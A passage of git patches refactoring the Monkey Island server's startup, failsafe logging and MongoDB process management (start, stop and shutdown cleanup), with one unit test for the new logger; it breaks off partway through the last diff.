@@ def test_setup_logging_console_log_level_lower_case(capsys, tmpdir): LOG_LEVEL = "debug" TEST_STRING = "Hello, Monkey! (Console; Log level: debug)" - setup_logging(DATA_DIR, LOG_LEVEL) + island_logger.setup_logging(DATA_DIR, LOG_LEVEL) logger = logging.getLogger("TestLogger") logger.debug(TEST_STRING) From 5e78666f91cebebc9e0ff9f6462d78107234ecce Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Jun 2021 08:40:49 -0400 Subject: [PATCH 0643/1360] island: Add function to setup default failsafe logger --- .../monkey_island/cc/server_utils/island_logger.py | 9 +++++++++ .../cc/server_utils/test_island_logger.py | 12 ++++++++++++ 2 files changed, 21 insertions(+) diff --git a/monkey/monkey_island/cc/server_utils/island_logger.py b/monkey/monkey_island/cc/server_utils/island_logger.py index 9a8929e3a41..06547d84d51 100644 --- a/monkey/monkey_island/cc/server_utils/island_logger.py +++ b/monkey/monkey_island/cc/server_utils/island_logger.py @@ -30,6 +30,15 @@ def setup_logging(data_dir_path, log_level): _add_console_handler(logger, formatter) +def setup_default_failsafe_logging(): + logger = logging.getLogger() + logger.setLevel(logging.DEBUG) + + formatter = _get_log_formatter() + + _add_console_handler(logger, formatter) + + def _get_log_formatter(): return logging.Formatter(LOG_FORMAT) diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_island_logger.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_island_logger.py index 6061109d1e3..c4256252f4e 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_island_logger.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_island_logger.py @@ -87,3 +87,15 @@ def test_setup_logging_console_log_level_lower_case(capsys, tmpdir): captured = capsys.readouterr() assert TEST_STRING in captured.out + + +def test_setup_defailt_failsafe_logging(capsys): + TEST_STRING = "Hello, Monkey! (Console; Log level: debug)" + + island_logger.setup_default_failsafe_logging() + logger = logging.getLogger("TestLogger") + logger.debug(TEST_STRING) + + captured = capsys.readouterr() + assert TEST_STRING in captured.out + assert "DEBUG" in captured.out From 184594f5092bda55c4c3b58085c3b1de7de10d92 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Jun 2021 09:16:00 -0400 Subject: [PATCH 0644/1360] island: Refactor setup/start logic separate concerns Most configuration/setup logic is removed from monkey_island.py. The only responsibility of startup.py is now to setup a default failsafe logger and call run_monkey_island(). setup_island() has been renamed to run_monkey_island(), since that's what it does. Some of the logic used to setup/configure/initialize monkey island has been wrapped in different functions with specific responsibilities. setup_mongodb() has been renamed to start_mongodb(), since that's what it does. --- monkey/monkey_island/cc/server_setup.py | 36 ++++++++++++++----- .../cc/setup/mongo/mongo_setup.py | 2 +- monkey/monkey_island/setup/config_setup.py | 12 +++++-- monkey/monkey_island/startup.py | 27 ++++---------- 4 files changed, 45 insertions(+), 32 deletions(-) diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index 208055173bf..a989f638795 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -15,39 +15,59 @@ import monkey_island.cc.environment.environment_singleton as env_singleton # noqa: E402 from common.version import get_version # noqa: E402 from monkey_island.cc.app import init_app # noqa: E402 +from monkey_island.cc.arg_parser import parse_cli_args # noqa: E402 from monkey_island.cc.resources.monkey_download import MonkeyDownload # noqa: E402 from monkey_island.cc.server_utils.bootloader_server import BootloaderHttpServer # noqa: E402 from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH # noqa: E402 from monkey_island.cc.server_utils.encryptor import initialize_encryptor # noqa: E402 +from monkey_island.cc.server_utils.island_logger import reset_logger, setup_logging # noqa: E402 from monkey_island.cc.services.initialize import initialize_services # noqa: E402 from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402 from monkey_island.cc.services.utils.network_utils import local_ip_addresses # noqa: E402 from monkey_island.cc.setup.mongo.database_initializer import init_collections # noqa: E402 -from monkey_island.cc.setup.mongo.mongo_setup import MONGO_URL, setup_mongodb # noqa: E402 +from monkey_island.cc.setup.mongo.mongo_setup import MONGO_URL, start_mongodb # noqa: E402 +from monkey_island.setup.config_setup import setup_data_dir # noqa: E402 from monkey_island.setup.island_config_options import IslandConfigOptions # noqa: E402 logger = logging.getLogger(__name__) -def setup_island(setup_only: bool, config_options: IslandConfigOptions, server_config_path: str): +def run_monkey_island(): + island_args = parse_cli_args() + config_options, server_config_path = setup_data_dir(island_args) + + _configure_logging(config_options) + _initialize_global_resources(config_options, server_config_path) + + start_mongodb(config_options) + bootloader_server_thread = _start_bootloader_server(MONGO_URL) + _start_island_server(island_args.setup_only, config_options) + bootloader_server_thread.join() + + +def _configure_logging(config_options): + reset_logger() + setup_logging(config_options.data_dir, config_options.log_level) + + +def _initialize_global_resources(config_options: IslandConfigOptions, server_config_path: str): env_singleton.initialize_from_file(server_config_path) initialize_encryptor(config_options.data_dir) initialize_services(config_options.data_dir) + +def _start_bootloader_server(mongo_url) -> Thread: bootloader_server_thread = Thread( - target=BootloaderHttpServer(MONGO_URL).serve_forever, daemon=True + target=BootloaderHttpServer(mongo_url).serve_forever, daemon=True ) bootloader_server_thread.start() - _start_island_server(setup_only, config_options) - bootloader_server_thread.join() + return bootloader_server_thread -def _start_island_server(should_setup_only, config_options: IslandConfigOptions): - - setup_mongodb(config_options) +def _start_island_server(should_setup_only, config_options: IslandConfigOptions): populate_exporter_list() app = init_app(MONGO_URL) diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py index ad523ce98b9..d5001dd1b5c 100644 --- a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py +++ b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py @@ -18,7 +18,7 @@ logger = logging.getLogger(__name__) -def setup_mongodb(config_options: IslandConfigOptions): +def start_mongodb(config_options: IslandConfigOptions): if config_options.start_mongodb: MongoDbRunner( db_dir_parent_path=config_options.data_dir, logging_dir_path=config_options.data_dir diff --git a/monkey/monkey_island/setup/config_setup.py b/monkey/monkey_island/setup/config_setup.py index 50330aea35e..95ebbc19440 100644 --- a/monkey/monkey_island/setup/config_setup.py +++ b/monkey/monkey_island/setup/config_setup.py @@ -1,20 +1,28 @@ import os from typing import Tuple +from monkey_island.cc.arg_parser import IslandCmdArgs from monkey_island.cc.environment import server_config_handler from monkey_island.cc.environment.utils import create_secure_directory from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR, DEFAULT_SERVER_CONFIG_PATH from monkey_island.setup.island_config_options import IslandConfigOptions -def setup_config_by_cmd_arg(server_config_path) -> Tuple[IslandConfigOptions, str]: +def setup_data_dir(island_args: IslandCmdArgs): + if island_args.server_config_path: + return _setup_config_by_cmd_arg(island_args.server_config_path) + + return _setup_default_config() + + +def _setup_config_by_cmd_arg(server_config_path) -> Tuple[IslandConfigOptions, str]: server_config_path = os.path.expandvars(os.path.expanduser(server_config_path)) config = server_config_handler.load_server_config_from_file(server_config_path) create_secure_directory(config.data_dir, create_parent_dirs=True) return config, server_config_path -def setup_default_config() -> Tuple[IslandConfigOptions, str]: +def _setup_default_config() -> Tuple[IslandConfigOptions, str]: server_config_path = DEFAULT_SERVER_CONFIG_PATH create_secure_directory(DEFAULT_DATA_DIR, create_parent_dirs=False) server_config_handler.create_default_server_config_file() diff --git a/monkey/monkey_island/startup.py b/monkey/monkey_island/startup.py index f53c679ab94..90dcd577e29 100644 --- a/monkey/monkey_island/startup.py +++ b/monkey/monkey_island/startup.py @@ -1,36 +1,21 @@ # This import patches other imports and needs to be first import monkey_island.setup.gevent_setup # noqa: F401 isort:skip -import json - -from monkey_island.cc.arg_parser import parse_cli_args -from monkey_island.cc.server_setup import setup_island -from monkey_island.cc.server_utils.island_logger import setup_logging -from monkey_island.setup.config_setup import setup_config_by_cmd_arg, setup_default_config +from monkey_island.cc.server_utils.island_logger import setup_default_failsafe_logging def start_island(): - island_args = parse_cli_args() - # This is here in order to catch EVERYTHING, some functions are being called on # imports, so the log init needs to be first. try: - if island_args.server_config_path: - config, server_config_path = setup_config_by_cmd_arg(island_args.server_config_path) - else: - config, server_config_path = setup_default_config() - - setup_logging(config.data_dir, config.log_level) - - except OSError as ex: - print(f"Error opening server config file: {ex}") + setup_default_failsafe_logging() + except Exception as ex: + print(f"Error configuring logging: {ex}") exit(1) - except json.JSONDecodeError as ex: - print(f"Error loading server config: {ex}") - exit(1) + from monkey_island.cc.server_setup import run_monkey_island # noqa: E402 - setup_island(island_args.setup_only, config, server_config_path) + run_monkey_island() if "__main__" == __name__: From a8570987a6133ce4eee5be13dd1f7d2a75943adb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 1 Jun 2021 19:40:11 -0400 Subject: [PATCH 0645/1360] island: Find MONKEY_ISLAND_ABS_PATH by __file__ instead of os.getcwd() We can't be sure what $PWD is when Monkey Island is started. --- monkey/monkey_island/cc/server_utils/consts.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index 5cc9a0dd1ca..6f4382b8734 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -1,4 +1,5 @@ import os +from pathlib import Path from monkey_island.cc.environment.utils import is_windows_os @@ -14,7 +15,7 @@ def get_default_data_dir() -> str: SERVER_CONFIG_FILENAME = "server_config.json" -MONKEY_ISLAND_ABS_PATH = os.path.join(os.getcwd(), "monkey_island") +MONKEY_ISLAND_ABS_PATH = str(Path(__file__).resolve().parent.parent.parent) DEFAULT_DATA_DIR = os.path.expandvars(get_default_data_dir()) From 28a34a4ec98a210c7508ad4801c0559c32a57e34 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Jun 2021 09:54:46 -0400 Subject: [PATCH 0646/1360] island: Use MONKEY_ISLAND_ABS_PATH to locate STIX attack data --- .../cc/services/attack/mitre_api_interface.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/attack/mitre_api_interface.py b/monkey/monkey_island/cc/services/attack/mitre_api_interface.py index 1a302523327..596f4d4982d 100644 --- a/monkey/monkey_island/cc/services/attack/mitre_api_interface.py +++ b/monkey/monkey_island/cc/services/attack/mitre_api_interface.py @@ -1,10 +1,15 @@ +import os from typing import Dict, List from stix2 import AttackPattern, CourseOfAction, FileSystemSource, Filter +from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH + class MitreApiInterface: - ATTACK_DATA_PATH = "monkey_island/cc/services/attack/attack_data/enterprise-attack" + ATTACK_DATA_PATH = os.path.join( + MONKEY_ISLAND_ABS_PATH, "cc", "services", "attack", "attack_data", "enterprise-attack" + ) @staticmethod def get_all_mitigations() -> Dict[str, CourseOfAction]: From d35099fa9b72c553df6d75c771e32a87b988eed2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Jun 2021 13:24:18 -0400 Subject: [PATCH 0647/1360] island: Rename MongoDbRunner -> MongoDbProcess --- .../mongo/{mongo_process_runner.py => mongo_db_process.py} | 4 ++-- monkey/monkey_island/cc/setup/mongo/mongo_setup.py | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) rename monkey/monkey_island/cc/setup/mongo/{mongo_process_runner.py => mongo_db_process.py} (93%) diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_process_runner.py b/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py similarity index 93% rename from monkey/monkey_island/cc/setup/mongo/mongo_process_runner.py rename to monkey/monkey_island/cc/setup/mongo/mongo_db_process.py index d03b62913e7..4b0150d998a 100644 --- a/monkey/monkey_island/cc/setup/mongo/mongo_process_runner.py +++ b/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py @@ -13,7 +13,7 @@ MONGO_LOG_FILENAME = "mongo_log.txt" -class MongoDbRunner: +class MongoDbProcess: def __init__(self, db_dir_parent_path: str, logging_dir_path: str): """ @param db_dir_parent_path: Path where a folder for database contents will be created @@ -35,7 +35,7 @@ def _create_db_dir(self) -> str: def _start_mongodb_process(self, db_dir_path: str): logger.info("Starting MongoDb process.") - mongo_run_cmd = MongoDbRunner._build_mongo_launch_cmd(MONGO_EXECUTABLE_PATH, db_dir_path) + mongo_run_cmd = MongoDbProcess._build_mongo_launch_cmd(MONGO_EXECUTABLE_PATH, db_dir_path) logger.info(f"Mongodb will be launched with command: {' '.join(mongo_run_cmd)}.") mongo_log_path = os.path.join(self.logging_dir_path, MONGO_LOG_FILENAME) diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py index d5001dd1b5c..5accd6f652b 100644 --- a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py +++ b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py @@ -6,7 +6,7 @@ from monkey_island.cc.database import get_db_version, is_db_server_up from monkey_island.cc.setup.mongo import mongo_connector from monkey_island.cc.setup.mongo.mongo_connector import MONGO_DB_HOST, MONGO_DB_NAME, MONGO_DB_PORT -from monkey_island.cc.setup.mongo.mongo_process_runner import MongoDbRunner +from monkey_island.cc.setup.mongo.mongo_db_process import MongoDbProcess from monkey_island.setup.island_config_options import IslandConfigOptions MONGO_URL = os.environ.get( @@ -20,7 +20,7 @@ def start_mongodb(config_options: IslandConfigOptions): if config_options.start_mongodb: - MongoDbRunner( + MongoDbProcess( db_dir_parent_path=config_options.data_dir, logging_dir_path=config_options.data_dir ).launch_mongodb() wait_for_mongo_db_server(MONGO_URL) From dc40713683dd76419d680fd9eafe685650dd0cb4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Jun 2021 13:24:58 -0400 Subject: [PATCH 0648/1360] island: Rename launch_mongodb() -> start() --- monkey/monkey_island/cc/setup/mongo/mongo_db_process.py | 2 +- monkey/monkey_island/cc/setup/mongo/mongo_setup.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py b/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py index 4b0150d998a..c8b043249fd 100644 --- a/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py +++ b/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py @@ -22,7 +22,7 @@ def __init__(self, db_dir_parent_path: str, logging_dir_path: str): self.db_dir_parent_path = db_dir_parent_path self.logging_dir_path = logging_dir_path - def launch_mongodb(self): + def start(self): db_path = self._create_db_dir() self._start_mongodb_process(db_path) diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py index 5accd6f652b..b6e86a3e305 100644 --- a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py +++ b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py @@ -22,7 +22,7 @@ def start_mongodb(config_options: IslandConfigOptions): if config_options.start_mongodb: MongoDbProcess( db_dir_parent_path=config_options.data_dir, logging_dir_path=config_options.data_dir - ).launch_mongodb() + ).start() wait_for_mongo_db_server(MONGO_URL) assert_mongo_db_version(MONGO_URL) mongo_connector.connect_dal_to_mongodb() From d1a2501a5bbfdd391e9b1d7edd303a05118b9c4d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Jun 2021 14:05:40 -0400 Subject: [PATCH 0649/1360] island: Add connect_to_mongo() function --- monkey/monkey_island/cc/server_setup.py | 8 +++++++- monkey/monkey_island/cc/setup/mongo/mongo_setup.py | 11 +++++++---- 2 files changed, 14 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index a989f638795..e6895ac5956 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -25,7 +25,11 @@ from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402 from monkey_island.cc.services.utils.network_utils import local_ip_addresses # noqa: E402 from monkey_island.cc.setup.mongo.database_initializer import init_collections # noqa: E402 -from monkey_island.cc.setup.mongo.mongo_setup import MONGO_URL, start_mongodb # noqa: E402 +from monkey_island.cc.setup.mongo.mongo_setup import ( # noqa: E402 + MONGO_URL, + connect_to_mongodb, + start_mongodb, +) from monkey_island.setup.config_setup import setup_data_dir # noqa: E402 from monkey_island.setup.island_config_options import IslandConfigOptions # noqa: E402 @@ -40,6 +44,8 @@ def run_monkey_island(): _initialize_global_resources(config_options, server_config_path) start_mongodb(config_options) + connect_to_mongodb() + bootloader_server_thread = _start_bootloader_server(MONGO_URL) _start_island_server(island_args.setup_only, config_options) bootloader_server_thread.join() diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py index b6e86a3e305..7d83ee5f443 100644 --- a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py +++ b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py @@ -23,18 +23,21 @@ def start_mongodb(config_options: IslandConfigOptions): MongoDbProcess( db_dir_parent_path=config_options.data_dir, logging_dir_path=config_options.data_dir ).start() - wait_for_mongo_db_server(MONGO_URL) - assert_mongo_db_version(MONGO_URL) + + +def connect_to_mongodb(): + _wait_for_mongo_db_server(MONGO_URL) + _assert_mongo_db_version(MONGO_URL) mongo_connector.connect_dal_to_mongodb() -def wait_for_mongo_db_server(mongo_url): +def _wait_for_mongo_db_server(mongo_url): while not is_db_server_up(mongo_url): logger.info("Waiting for MongoDB server on {0}".format(mongo_url)) time.sleep(1) -def assert_mongo_db_version(mongo_url): +def _assert_mongo_db_version(mongo_url): """ Checks if the mongodb version is new enough for running the app. If the DB is too old, quits. From 559af47928e0edce27d194cf9e300c78d4ee4e00 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Jun 2021 14:20:21 -0400 Subject: [PATCH 0650/1360] island: Clean up MongoDB subprocess when Monkey Island shuts down --- monkey/monkey_island/cc/server_setup.py | 6 +++++- .../cc/setup/mongo/mongo_db_process.py | 17 ++++++++++++++++- .../cc/setup/mongo/mongo_setup.py | 18 +++++++++++++----- 3 files changed, 34 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index e6895ac5956..ba0ed1411a8 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -28,6 +28,7 @@ from monkey_island.cc.setup.mongo.mongo_setup import ( # noqa: E402 MONGO_URL, connect_to_mongodb, + register_mongo_shutdown_callback, start_mongodb, ) from monkey_island.setup.config_setup import setup_data_dir # noqa: E402 @@ -43,7 +44,10 @@ def run_monkey_island(): _configure_logging(config_options) _initialize_global_resources(config_options, server_config_path) - start_mongodb(config_options) + if config_options.start_mongodb: + mongo_db_process = start_mongodb(config_options) + register_mongo_shutdown_callback(mongo_db_process) + connect_to_mongodb() bootloader_server_thread = _start_bootloader_server(MONGO_URL) diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py b/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py index c8b043249fd..f244066301f 100644 --- a/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py +++ b/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py @@ -11,6 +11,7 @@ DB_DIR_NAME = "db" DB_DIR_PARAM = "--dbpath" MONGO_LOG_FILENAME = "mongo_log.txt" +TERMINATE_TIMEOUT = 10 class MongoDbProcess: @@ -21,11 +22,25 @@ def __init__(self, db_dir_parent_path: str, logging_dir_path: str): """ self.db_dir_parent_path = db_dir_parent_path self.logging_dir_path = logging_dir_path + self._process = None def start(self): db_path = self._create_db_dir() self._start_mongodb_process(db_path) + def stop(self): + if self._process: + logger.info("Terminating MongoDB process") + self._process.terminate() + try: + self._process.wait(timeout=TERMINATE_TIMEOUT) + logger.info("MongoDB process terminated successfully") + except subprocess.TimeoutExpired as te: + logger.warning( + f"MongoDB did not terminate gracefully and will be forcefully killed: {te}" + ) + self._process.kill() + def _create_db_dir(self) -> str: db_path = os.path.join(self.db_dir_parent_path, DB_DIR_NAME) logger.info(f"Database content directory: {db_path}.") @@ -42,7 +57,7 @@ def _start_mongodb_process(self, db_dir_path: str): logger.info(f"Mongodb log will be available at {mongo_log_path}.") with open(mongo_log_path, "w") as log: - subprocess.Popen(mongo_run_cmd, stderr=subprocess.STDOUT, stdout=log) + self._process = subprocess.Popen(mongo_run_cmd, stderr=subprocess.STDOUT, stdout=log) logger.info("MongoDb launched successfully!") @staticmethod diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py index 7d83ee5f443..412ff49d60f 100644 --- a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py +++ b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py @@ -1,3 +1,4 @@ +import atexit import logging import os import sys @@ -18,11 +19,18 @@ logger = logging.getLogger(__name__) -def start_mongodb(config_options: IslandConfigOptions): - if config_options.start_mongodb: - MongoDbProcess( - db_dir_parent_path=config_options.data_dir, logging_dir_path=config_options.data_dir - ).start() +def start_mongodb(config_options: IslandConfigOptions) -> MongoDbProcess: + mongo_db_process = MongoDbProcess( + db_dir_parent_path=config_options.data_dir, logging_dir_path=config_options.data_dir + ) + + mongo_db_process.start() + + return mongo_db_process + + +def register_mongo_shutdown_callback(mongo_db_process: MongoDbProcess): + atexit.register(mongo_db_process.stop) def connect_to_mongodb(): From 7d85ce06112cd8cb213cc0d66aaf1dbed22b887d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Jun 2021 14:27:01 -0400 Subject: [PATCH 0651/1360] island: Store MongoDB logs in mondogb.log instead of mongo_log.txt ".log" is the standard extension for log files. --- monkey/monkey_island/cc/setup/mongo/mongo_db_process.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py b/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py index f244066301f..c283710fc6a 100644 --- a/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py +++ b/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py @@ -10,7 +10,7 @@ DB_DIR_NAME = "db" DB_DIR_PARAM = "--dbpath" -MONGO_LOG_FILENAME = "mongo_log.txt" +MONGO_LOG_FILENAME = "mongodb.log" TERMINATE_TIMEOUT = 10 From a3bd4325389b4e7bfcf6c42e9c29c29eaa450bab Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Jun 2021 15:12:30 -0400 Subject: [PATCH 0652/1360] island: Remove directory creation logic from MongoDbProcess --- .../cc/setup/mongo/mongo_db_process.py | 25 ++++++------------- .../cc/setup/mongo/mongo_setup.py | 15 ++++++++--- 2 files changed, 20 insertions(+), 20 deletions(-) diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py b/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py index c283710fc6a..9a514ab9a02 100644 --- a/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py +++ b/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py @@ -3,30 +3,27 @@ import subprocess from typing import List -from monkey_island.cc.environment.utils import create_secure_directory from monkey_island.cc.server_utils.consts import MONGO_EXECUTABLE_PATH logger = logging.getLogger(__name__) -DB_DIR_NAME = "db" DB_DIR_PARAM = "--dbpath" MONGO_LOG_FILENAME = "mongodb.log" TERMINATE_TIMEOUT = 10 class MongoDbProcess: - def __init__(self, db_dir_parent_path: str, logging_dir_path: str): + def __init__(self, db_dir: str, logging_dir_path: str): """ - @param db_dir_parent_path: Path where a folder for database contents will be created + @param db_dir: Path where a folder for database contents will be created @param logging_dir_path: Path to a folder where mongodb logs will be created """ - self.db_dir_parent_path = db_dir_parent_path + self._db_dir = db_dir self.logging_dir_path = logging_dir_path self._process = None def start(self): - db_path = self._create_db_dir() - self._start_mongodb_process(db_path) + self._start_mongodb_process() def stop(self): if self._process: @@ -41,16 +38,10 @@ def stop(self): ) self._process.kill() - def _create_db_dir(self) -> str: - db_path = os.path.join(self.db_dir_parent_path, DB_DIR_NAME) - logger.info(f"Database content directory: {db_path}.") - create_secure_directory(db_path, create_parent_dirs=False) - return db_path - - def _start_mongodb_process(self, db_dir_path: str): + def _start_mongodb_process(self): logger.info("Starting MongoDb process.") - mongo_run_cmd = MongoDbProcess._build_mongo_launch_cmd(MONGO_EXECUTABLE_PATH, db_dir_path) + mongo_run_cmd = MongoDbProcess._build_mongo_launch_cmd(MONGO_EXECUTABLE_PATH, self._db_dir) logger.info(f"Mongodb will be launched with command: {' '.join(mongo_run_cmd)}.") mongo_log_path = os.path.join(self.logging_dir_path, MONGO_LOG_FILENAME) @@ -61,5 +52,5 @@ def _start_mongodb_process(self, db_dir_path: str): logger.info("MongoDb launched successfully!") @staticmethod - def _build_mongo_launch_cmd(exec_path: str, db_path: str) -> List[str]: - return [exec_path, DB_DIR_PARAM, db_path] + def _build_mongo_launch_cmd(exec_path: str, db_dir: str) -> List[str]: + return [exec_path, DB_DIR_PARAM, db_dir] diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py index 412ff49d60f..73ed9d0962d 100644 --- a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py +++ b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py @@ -5,11 +5,13 @@ import time from monkey_island.cc.database import get_db_version, is_db_server_up +from monkey_island.cc.environment.utils import create_secure_directory from monkey_island.cc.setup.mongo import mongo_connector from monkey_island.cc.setup.mongo.mongo_connector import MONGO_DB_HOST, MONGO_DB_NAME, MONGO_DB_PORT from monkey_island.cc.setup.mongo.mongo_db_process import MongoDbProcess from monkey_island.setup.island_config_options import IslandConfigOptions +DB_DIR_NAME = "db" MONGO_URL = os.environ.get( "MONKEY_MONGO_URL", "mongodb://{0}:{1}/{2}".format(MONGO_DB_HOST, MONGO_DB_PORT, MONGO_DB_NAME), @@ -20,15 +22,22 @@ def start_mongodb(config_options: IslandConfigOptions) -> MongoDbProcess: - mongo_db_process = MongoDbProcess( - db_dir_parent_path=config_options.data_dir, logging_dir_path=config_options.data_dir - ) + db_dir = _create_db_dir(config_options.data_dir) + mongo_db_process = MongoDbProcess(db_dir=db_dir, logging_dir_path=config_options.data_dir) mongo_db_process.start() return mongo_db_process +def _create_db_dir(db_dir_parent_path) -> str: + db_dir = os.path.join(db_dir_parent_path, DB_DIR_NAME) + logger.info(f"Database content directory: {db_dir}.") + + create_secure_directory(db_dir, create_parent_dirs=False) + return db_dir + + def register_mongo_shutdown_callback(mongo_db_process: MongoDbProcess): atexit.register(mongo_db_process.stop) From 1e21446bb8565bf18d5a089a2902f59bbcd1c082 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Jun 2021 15:16:18 -0400 Subject: [PATCH 0653/1360] island: Rename logging_dir_path -> _logging_dir in MongoDbProcess --- monkey/monkey_island/cc/setup/mongo/mongo_db_process.py | 8 ++++---- monkey/monkey_island/cc/setup/mongo/mongo_setup.py | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py b/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py index 9a514ab9a02..96341b7d870 100644 --- a/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py +++ b/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py @@ -13,13 +13,13 @@ class MongoDbProcess: - def __init__(self, db_dir: str, logging_dir_path: str): + def __init__(self, db_dir: str, logging_dir: str): """ @param db_dir: Path where a folder for database contents will be created - @param logging_dir_path: Path to a folder where mongodb logs will be created + @param logging_dir: Path to a folder where mongodb logs will be created """ self._db_dir = db_dir - self.logging_dir_path = logging_dir_path + self._logging_dir = logging_dir self._process = None def start(self): @@ -44,7 +44,7 @@ def _start_mongodb_process(self): mongo_run_cmd = MongoDbProcess._build_mongo_launch_cmd(MONGO_EXECUTABLE_PATH, self._db_dir) logger.info(f"Mongodb will be launched with command: {' '.join(mongo_run_cmd)}.") - mongo_log_path = os.path.join(self.logging_dir_path, MONGO_LOG_FILENAME) + mongo_log_path = os.path.join(self._logging_dir, MONGO_LOG_FILENAME) logger.info(f"Mongodb log will be available at {mongo_log_path}.") with open(mongo_log_path, "w") as log: diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py index 73ed9d0962d..2920fc8bbc1 100644 --- a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py +++ b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py @@ -24,7 +24,7 @@ def start_mongodb(config_options: IslandConfigOptions) -> MongoDbProcess: db_dir = _create_db_dir(config_options.data_dir) - mongo_db_process = MongoDbProcess(db_dir=db_dir, logging_dir_path=config_options.data_dir) + mongo_db_process = MongoDbProcess(db_dir=db_dir, logging_dir=config_options.data_dir) mongo_db_process.start() return mongo_db_process From 3b958f5a6169555fc2d43c75e0b384c25a21e8c3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Jun 2021 15:18:07 -0400 Subject: [PATCH 0654/1360] island: Inline method _start_mongodb_process() in MongoDbProcess --- .../cc/setup/mongo/mongo_db_process.py | 25 ++++++++----------- 1 file changed, 11 insertions(+), 14 deletions(-) diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py b/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py index 